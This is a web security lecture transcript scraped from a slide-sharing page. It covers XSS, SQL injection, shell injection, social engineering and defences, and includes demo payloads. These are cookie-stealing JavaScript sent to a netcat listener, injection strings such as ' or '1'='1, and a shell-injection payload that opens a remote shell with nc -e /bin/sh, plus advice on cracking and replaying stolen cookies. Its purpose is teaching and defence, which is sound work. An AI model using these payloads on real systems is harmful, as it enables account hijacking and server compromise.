Web Security. Objectives Understand the complexity of Web infrastructure and current trends of Web threat Understand the complexity of Web infrastructure.

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
1 MTvScan (Malware, Trojan, Viruses Scanner) Enterprise Class Security Scanner.
1 Topic 1 – Lesson 3 Network Attacks Summary. 2 Questions ► Compare passive attacks and active attacks ► How do packet sniffers work? How to mitigate?
Online Banking Fraud Prevention Recommendations and Best Practices This document provides you with fraud prevention best practices that every employee.
Server-Side vs. Client-Side Scripting Languages
Web Based Attacks SymantecDefense Fantastic Four Casey Ford Mike Lombardo Ragnar Olson Maninder Singh.
Web Audit Vulnerability cross-site scripting (XSS) concerns by Ron Widitz.
Security+ Guide to Network Security Fundamentals, Third Edition
Leveraging User Interactions for In-Depth Testing of Web Applications Sean McAllister, Engin Kirda, and Christopher Kruegel RAID ’08 1 Seoyeon Kang November.
Web server security Dr Jim Briggs WEBP security1.
Web Security. Objectives Understand the complexity of Web infrastructure and current trends of Web threat Understand the complexity of Web infrastructure.
Web Security. Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications > 60% of total.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Web Programming Language Dr. Ken Cosh Week 1 (Introduction)
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Workshop 3 Web Application Security Li Weichao March
© 2007 Cisco Systems, Inc. All rights reserved.Cisco Public ITE PC v4.0 Chapter 1 1 Basic Security Networking for Home and Small Businesses – Chapter 8.
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Demystifying Backdoor Shells and IRC Bots: The Risk … By : Jonathan.
Web Security. Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications > 60% of total.
Prevent Cross-Site Scripting (XSS) attack
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Hacker Zombie Computer Reflectors Target.
Server-side Scripting Powering the webs favourite services.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
1 All Your iFRAMEs Point to Us Mike Burry. 2 Drive-by downloads Malicious code (typically Javascript) Downloaded without user interaction (automatic),
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Attacking Applications: SQL Injection & Buffer Overflows.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
CSCE 201 Web Browser Security Fall CSCE Farkas2 Web Evolution Web Evolution Past: Human usage – HTTP – Static Web pages (HTML) Current: Human.
Week 10-11c Attacks and Malware III. Remote Control Facility distinguishes a bot from a worm distinguishes a bot from a worm worm propagates itself and.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Understanding Computer Viruses: What They Can Do, Why People Write Them and How to Defend Against Them Computer Hardware and Software Maintenance.
Web Applications Testing By Jamie Rougvie Supported by.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Web Security. Objectives Understand the complexity of Web infrastructure and current trends of Web threat Understand the complexity of Web infrastructure.
Auditing Web Security. Objectives Understand the complexity of Web infrastructure and current trends of Web threat Understand the complexity of Web infrastructure.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Chapter 12: How Private are Web Interactions?. Why we care? How much of your personal info was released to the Internet each time you view a Web page?
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
EECS 354: Network Security Group Members: Patrick Wong Eric Chan Shira Schneidman Web Attacks Project: Detecting XSS and SQL Injection Vulnerabilities.
Higher Computing Science Coding the Web: HTML, JavaScript, PHP and MySQL.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Module: Software Engineering of Web Applications
Web Security.
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Chapter 7: Identifying Advanced Attacks
World Wide Web policy.
SQL Injection Attacks Many web servers have backing databases
Database Driven Websites
Lecture 2 - SQL Injection
Exploring DOM-Based Cross Site Attacks
Enterprise Class Security Scanner
Web security.
Presentation transcript:

Web Security

Objectives Understand the complexity of Web infrastructure and current trends of Web threat Understand the complexity of Web infrastructure and current trends of Web threat Understand the mechanisms and defense of major Web attacks: XSS, SQL injection and shell attacks Understand the mechanisms and defense of major Web attacks: XSS, SQL injection and shell attacks

Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications > 60% of total attack attempts observed on the Net are against Web applications > 80% of vulnerabilities discovered are in web apps > 80% of vulnerabilities discovered are in web apps Independent security audit Independent security audit Regulatory compliance Regulatory compliance

Auditor finding Freeform edit box Freeform edit box –Message to Customer Service XSS issue raised XSS issue raised Must provide a response: Must provide a response: –Prove issue to be a non-problem or –Describe actions to take

Anatomy of Web Attacks 1. Attacker breaks into a legitimate website and posts malware Malware is no longer exclusive to malicious Web sites. 2. Attacking end-user machines. Malware on a Web site makes its way down on to a user’s machine when that user visits the host Web site. “Drive-by-download” – happens automatically with no user interaction required Additional techniques which do require some input from the user, but in practice are equally, if not more so, effective. 3. Leveraging end user machines for malicious activity.

Anatomy of Web Attacks Source: Web Based Attacks, Symantec 2009

Big trend: software as a (Web-based) service Big trend: software as a (Web-based) service –Online banking, shopping, government, etc. –Cloud computing Applications hosted on Web servers Applications hosted on Web servers –Written in a mixture of PHP, Java, Perl, Python, C, ASP Security is rarely the main concern Security is rarely the main concern –Poorly written scripts with inadequate input validation –Sensitive data stored in world-readable files Web Applications

Runs on a Web server or application server Runs on a Web server or application server Takes input from Web users (via Web server) Takes input from Web users (via Web server) Interacts with back-end databases and third parties Interacts with back-end databases and third parties Prepares and outputs results for users (via Web server) Prepares and outputs results for users (via Web server) –Dynamically generated HTML pages –Contain content from many different sources, often including regular users Blogs, social networks, photo-sharing websites… Blogs, social networks, photo-sharing websites… Web advertisements, usually third party Web advertisements, usually third party –A webpage can have content coming from different domains Typical Web Application Design

Two Sides of Web Security Web browser (front end) Web browser (front end) –Can be attacked by any website it visits –Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data Web application (back end) Web application (back end) –Runs at website Banks, online merchants, blogs, Google Apps, etc. Banks, online merchants, blogs, Google Apps, etc. –Written in Javascript, PHP, ASP, JSP, Ruby, … –Many potential bugs: XSS, SQL injection, XSRF –Attacks lead to stolen credit cards, defaced sites, etc.

Chicago Tribune Home Page

How Are Legitimate Web Sites Compromised? SQL Injection Attacks SQL Injection Attacks Cross-site scripting (XSS) attacks Cross-site scripting (XSS) attacks Vulnerabilities in the Web server or forum hosting software (e.g., shell attacks) Vulnerabilities in the Web server or forum hosting software (e.g., shell attacks) Malicious Advertisements Malicious Advertisements –Many Web sites today display advertisements hosted by third-party advertising sites –Volume of ads published automatically makes detection difficult –Random appearances further compounds the detection Search Engine Result Redirection Search Engine Result Redirection Attacks on the backend virtual hosting companies Attacks on the backend virtual hosting companies

slide 13JavaScript Language executed by browser Language executed by browser –Scripts are embedded in Web pages –Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page Used to implement “active” web pages Used to implement “active” web pages –AJAX, huge number of Web-based applications Many security and correctness issues Many security and correctness issues –Attacker gets to execute some code on user’s machine –Often used to exploit other vulnerabilities

Cross Site Scripting Attacker goal: their code into browser Attacker goal: their code into browser XSS forces a website visitor to execute malicious code in his/her browser XSS forces a website visitor to execute malicious code in his/her browser Count for roughly 80% of all documented security vulnerabilities Count for roughly 80% of all documented security vulnerabilities

XSS Risks XSS abuses render engines or plug-ins XSS abuses render engines or plug-ins Steal browser cookies Steal browser cookies Steal session info for replay attack Steal session info for replay attack Malware or bot installation Malware or bot installation Redirect or phishing attempt Redirect or phishing attempt

XSS Example 1 Trudy posts the following JavaScript on a message board: Trudy posts the following JavaScript on a message board: var url = " + encodeURI(document.cookie); </script> Then run a TCP server listening on port 5000 with e.g., nc –l 5000 Then run a TCP server listening on port 5000 with e.g., nc –l 5000 When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

Web Attack Demo Flow Chart

XSS Demo Instructions Set port forward to bypass the firewall Set port forward to bypass the firewall ssh -L 9000:netsec-demos:2000 Note: 9000 is the local port, it's forwarded to netsec- demos port 2000 through hamsa proxy Use to access Use to access

XSS Demo Instructions (II) Login as ychen and post the script with a sexy title (e.g., hot game!) Login as ychen and post the script with a sexy title (e.g., hot game!) var url = " var url = " url = url + encodeURI(document.cookie); url = url + encodeURI(document.cookie); new Image().src=url; new Image().src=url; Hi Everyone! Thanks for your cookies! Hi Everyone! Thanks for your cookies! Ssh to that machine (e.g., netsec.cs.northwestern.edu) and run Ssh to that machine (e.g., netsec.cs.northwestern.edu) and run nc –l –p 5000

Simple XSS Code var url = " cookie=“+ encodeURI(document.cookie); document.cookie is the browser's entire cookie for the current website document.cookie is the browser's entire cookie for the current website encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL –E.g., changing the space character to %20 –Make the URL less suspicious

What can Trudy Do with the Cookie? Another user test458 login as and when clicking the post, cookie is sent to the attacker Another user test458 login as and when clicking the post, cookie is sent to the attacker Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker For more info, cracking/ For more info, cracking/ Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

XSS Detection A client usually is not supposed to send scripts to servers A client usually is not supposed to send scripts to servers If the server receives … or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred If the server receives … or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred –A sanitized script could look like &ls;SCRIPT>… Any user input must be preprocessed before it is used inside HTML Any user input must be preprocessed before it is used inside HTML

SQL Injection Malicious SQL statements run on a database and thus attack the server –XSS can only target other users

SQL Injection Example Trudy accesses Bob’s website; in which he does not validate input on his sign in form Trudy accesses Bob’s website; in which he does not validate input on his sign in form –Runs a SQL statement like the following: –select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; Set username to ' or '1'='1 Set username to ' or '1'='1 select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; Effect: picks any row where the username is blank and the password matches or any row where true. Effect: picks any row where the username is blank and the password matches or any row where true. Add “limit 1” to pick the first row Add “limit 1” to pick the first row

SQL Injection Detection Input validation on any outgoing SQL statements from the web server to the database server Input validation on any outgoing SQL statements from the web server to the database server –Filter Apostrophes, semicolons, percent symbols, hyphens, underscores, … Apostrophes, semicolons, percent symbols, hyphens, underscores, … Any character that has special meanings must be escaped,.e.g., convert ’ into \’ Any character that has special meanings must be escaped,.e.g., convert ’ into \’ –Only works for string inputs –Different databases have different rules for escaping –Check the data type (e.g., make sure it’s an integer)

Shell Attacks Control an actual machine like a web server

Shell Attacks Inject commands into scripts that use Linux utilities Inject commands into scripts that use Linux utilities –E.g., with “;” as command separator in UNIX/LINUX CGI programs like perl can use command-line programs (e.g. grep, ls) CGI programs like perl can use command-line programs (e.g. grep, ls) Unsanitized input as arguments can lead to command execution. Unsanitized input as arguments can lead to command execution.

Shell Attacks Demo Search engine in MiniBB webserver executes Search engine in MiniBB webserver executes system("echo $user_usr ". $phrase. " >>/tmp/searchlogs"); Put phrase as: >/dev/null; id; echo randomdata Put phrase as: >/dev/null; id; echo randomdata –Hide user ID –Store random data in logs to evade detection We can even get a remote shell ! We can even get a remote shell ! –>/dev/null; nc netsec e /bin/sh

Defense Approaches Web firewall/IDS Web firewall/IDS –ModSecurity for Apache –Commercial: SecureSphere from Imperva Static code analysis Static code analysis –Open source: Nikto –Commercial: Acutenix Web Vulnerability Scanner Acutenix Web Vulnerability Scanner N-stalker N-stalker Education on good coding Education on good coding –HTML encoding on input (server-side) –Input validation/filtering

XSRF

Discussion of Symantec White Papers: GETTING ONTO A USER’S COMPUTER (AUTOMATICALLY)

Source: Web Based Attacks, Symantec 2009

Automatic Attack Exposure Techniques used to deliver malware from Websites to a users computer. Techniques used to deliver malware from Websites to a users computer. Exposure Exposure –Browsing a website –No user interaction is required –Executable content is automatically downloaded

“Click Jacking”

GETTING ONTO A USER’S COMPUTER (WITH A LITTLE HELP FROM THE USER)

Social Engineering Source: Web Based Attacks, Symantec 2009 People are tricked into performing actions they would not otherwise want to perform

Types of Social Engineering Attacks Fake Codec Fake Codec Malicious Peer-to-Peer (P2P) Files Malicious Peer-to-Peer (P2P) Files Malicious Advertisements Malicious Advertisements Fake Scanner Web Page Fake Scanner Web Page Blog Spam Blog Spam Other Attack Vectors Other Attack Vectors –Spam –Pirated software

How to Protect Yourself (Client side) Update and Patch Software Update and Patch Software –Get latest OS, Browser, Application patches –Browswer Plug-in updates often forgotten Endpoint Protection Software Endpoint Protection Software –Anti-virus software for signature based detection and behavioral monitoring –Update Protection Software Subscription Could miss 70,000 new unique virus variants for one week Could miss 70,000 new unique virus variants for one week Be Suspicious Be Suspicious –Avoid things that seem too good to be true Adopt Strong Password Policy Adopt Strong Password Policy

Web Reputation Systems (ISP/Enterprise side) Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Web Reputation Agent Local Blacklist/Whitelist Database Local Blacklist/Whitelist Database Web Reputation System in Intelligent Cloud Network

Summary Complexity of Web infrastructure and current trends of Web threat Complexity of Web infrastructure and current trends of Web threat Mechanisms and defense of major Web attacks Mechanisms and defense of major Web attacks –XSS –SQL injection –Shell attacks New Web attack trends in Symantec white paper New Web attack trends in Symantec white paper

Backup Slides

Existing Systems Comparison Existing Systems Comparison Content- based/URL -based Dynamic/ Static Training SetInputOutput IronPortBothMixed URLs from 100,000 Orgs URL Malware, Phishing, and Spam Safe Browsing Content- based DynamicN/AURLMalware and Phishing Web of Trust URL-basedStaticUser CommentsURL Malware, Phishing, and Spam Trend Micro Web Rep BothMixedNot PublicURL Malware, Phishing, and Spam McAfeeBothMixedNot PublicURLMalware, Phishing, and Spam

Web Reputation Agent Web Sandbox (Dynamically executing WebPages ) Web Sandbox (Dynamically executing WebPages ) URL Classification Engine URL Classification Engine Crowd Sourcing Engine Phishing Detection Engine Result Processin g Center Webpage Static Detection Engine Webpage Static Detection Engine Web Reputation Agent passes URLs to four fast detecting engines: Crowd Sourcing, URL Classification, Phishing Detection and webpage static engines. Web Reputation Agent passes URLs to four fast detecting engines: Crowd Sourcing, URL Classification, Phishing Detection and webpage static engines. These four engines are lightweight and therefore they can detect very fast. These four engines are lightweight and therefore they can detect very fast. These four engines return the scores to Result Processing Center (RPC), which standardized the four scores and generate a final score. These four engines return the scores to Result Processing Center (RPC), which standardized the four scores and generate a final score. If the final score strongly indicates the URLs are legitimate or malicious, RPC returns the score to Web Reputation. Otherwise, RPC passes the URLs to Web Sandbox, which is a heavyweight detecting engine and will detect the URL by executing the contents in the URL. If the final score strongly indicates the URLs are legitimate or malicious, RPC returns the score to Web Reputation. Otherwise, RPC passes the URLs to Web Sandbox, which is a heavyweight detecting engine and will detect the URL by executing the contents in the URL. Intelligent Cloud Network

Fake Codec User is prompted to install a missing codec User is prompted to install a missing codec Codec is actually malware code Codec is actually malware code –Usually a trojan horse

Malicious Peer-to-Peer (P2P) Files Malware authors bind content into popular applications Malware authors bind content into popular applications –Files named after celebrities, popular bands –Uploaded to popular P2P sites where they are downloaded by unsuspecting users Openly available how-to materials on the internet Openly available how-to materials on the internet –Details how to build and distribute malware –Pay-Per-Install malware

Fake Scanner Web Page Create a web site or product that misrepresents the truth Create a web site or product that misrepresents the truth –JavaScript pop-ups notifying of false need to install operating system updates Source: Web Based Attacks, Symantec 2009 –Tools that claim to scan for and remove adult images, etc.

Blog Spam Alluring links posted on blogs Alluring links posted on blogs –Links embedded in blog comments –Direct users to sites that leverage social engineering tricks or browser exploits to spread malware

Other Attack Vectors Spam Spam – s contain links directing people to drive by download, fake scanner/codec, and malware sites Pirated software sites Pirated software sites –Pirated versions of software are bundled with or comprised solely of trojan horses

XSS Example 2 Trudy sends a link of the following URL to Bob that will take him to a personalized page: Trudy sends a link of the following URL to Bob that will take him to a personalized page: document.location=' bin/stealcookie.cgi?'+document.cookie document.location=' bin/stealcookie.cgi?'+document.cookie A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious

XPATH Injection Example Similar to SQL injection Similar to SQL injection Bob has a form that does not sanitize user- provided input before using it as part of an XPATH query:: Bob has a form that does not sanitize user- provided input before using it as part of an XPATH query:: –string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) Trudy again can provide the following password to change the statement’s logic: Trudy again can provide the following password to change the statement’s logic: –X’ OR ‘x’=‘x –The statement thus selects the first account

LDAP Injection Example Server using LDAP for authentication Server using LDAP for authentication –User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry Attacker can exploit using special characters Attacker can exploit using special charactershttp://example/ldapsearch.asp?user=*

LDAP Injection Detection Detection is based off of usage of special LDAP characters Detection is based off of usage of special LDAP characters –System monitors input for special characters –Either scrubs incoming input or watches for unescaped output passed to database server Detection approach is blackbox Detection approach is blackbox

SSI Injection Example Bob has his server configured to use Server- Side Includes Bob has his server configured to use Server- Side Includes Trudy passes input with an SSI embedded Trudy passes input with an SSI embedded SSI inserts malicious code into normal webpages upon next request SSI inserts malicious code into normal webpages upon next request Future legitimate users get content containing the tainted code included by the SSI Future legitimate users get content containing the tainted code included by the SSI

JSP Injection Example Similar to SSI injection Similar to SSI injection Bob has a portal server configured to use dynamic code for templates Bob has a portal server configured to use dynamic code for templates Trudy passes input with an embedded Trudy passes input with an embedded malicious code inserted into webpage malicious code inserted into webpage

JSP Injection Prevention Prefer static include Prefer static include Don’t allow file inclusion outside of server via Java2 Security policies Don’t allow file inclusion outside of server via Java2 Security policies Firewall rules to prevent outbound requests from server Firewall rules to prevent outbound requests from server Input validation coding Input validation coding Choose portal software not requiring dynamic includes or code execution Choose portal software not requiring dynamic includes or code execution